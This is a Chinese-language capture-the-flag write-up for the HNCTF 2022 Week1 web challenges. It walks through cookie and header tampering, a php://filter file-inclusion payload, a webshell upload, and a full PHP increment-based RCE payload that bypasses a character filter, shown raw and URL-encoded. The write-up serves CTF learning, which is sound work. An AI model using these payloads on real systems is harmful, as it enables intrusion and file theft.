Week1

[HNCTF 2022 Week1]2048

f12查看源代码

可以看出游戏的分数是score

修改score的值

得到flag

[HNCTF 2022 Week1]Interesting_include

得到源码

<?php
//WEB手要懂得搜索
//flag in ./flag.phpif(isset($_GET['filter'])){$file = $_GET['filter'];if(!preg_match("/flag/i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
} 

php伪协议，构造payload：

http://node3.anna.nssctf.cn:28894/?filter=php://filter/read=convert.base64-encode/resource=flag.php

base64解码得到flag

[HNCTF 2022 Week1]easy_upload

不是，你个标签整这么吓人干嘛啊？？？是谁！！

一句话木马直接挂马成功了

蚁剑直接连接

根目录下得到flag

[HNCTF 2022 Week1]easy_html

说饼干中好像有什么东西，那就看cookie，url转码一下,./f14g.php，然后去访问

说要输入手机号登录，本来想随便输入一个的，但是只能输入十位，并且会回显nononono!

利用burp抓包，强行输入11位数字，发包得到flag

[HNCTF 2022 Week1]What is Web

CTRL+U往下拉

base64解码得到flag

[HNCTF 2022 Week1]Interesting_http

说要post a want，那就给他发一个want

给了两个单词，肯定选flag，然后发包

提示Not admin，用burp抓包，可以看到cookie中有一个user，值是notadmin改成admin

提示No location，用XFF打

拿到flag

[HNCTF 2022 Week1]Challenge__rce

f12查看hint，?hint

给hint传入一个值得到源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {$rce = $_POST['rce'];if (strlen($rce) <= 120) {if (is_string($rce)) {if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {eval($rce);} else {echo("Are you hack me?");}} else {echo "I want string!";}} else {echo "too long!";}
} 

说明这里要进行RCE，但是过滤掉了大部分东西，这里可以用的是$()+,.0123456789;=[]_{}，那么就是自增RCE

关于自增RCE可看这篇：CTFshow-RCE极限大挑战wp

直接放payload：

rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

但是传入的时候要进行url编码

%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

并且传入的时候要传入1和2，如下

然后将2的值为cat /ffflllaaaggg

得到flag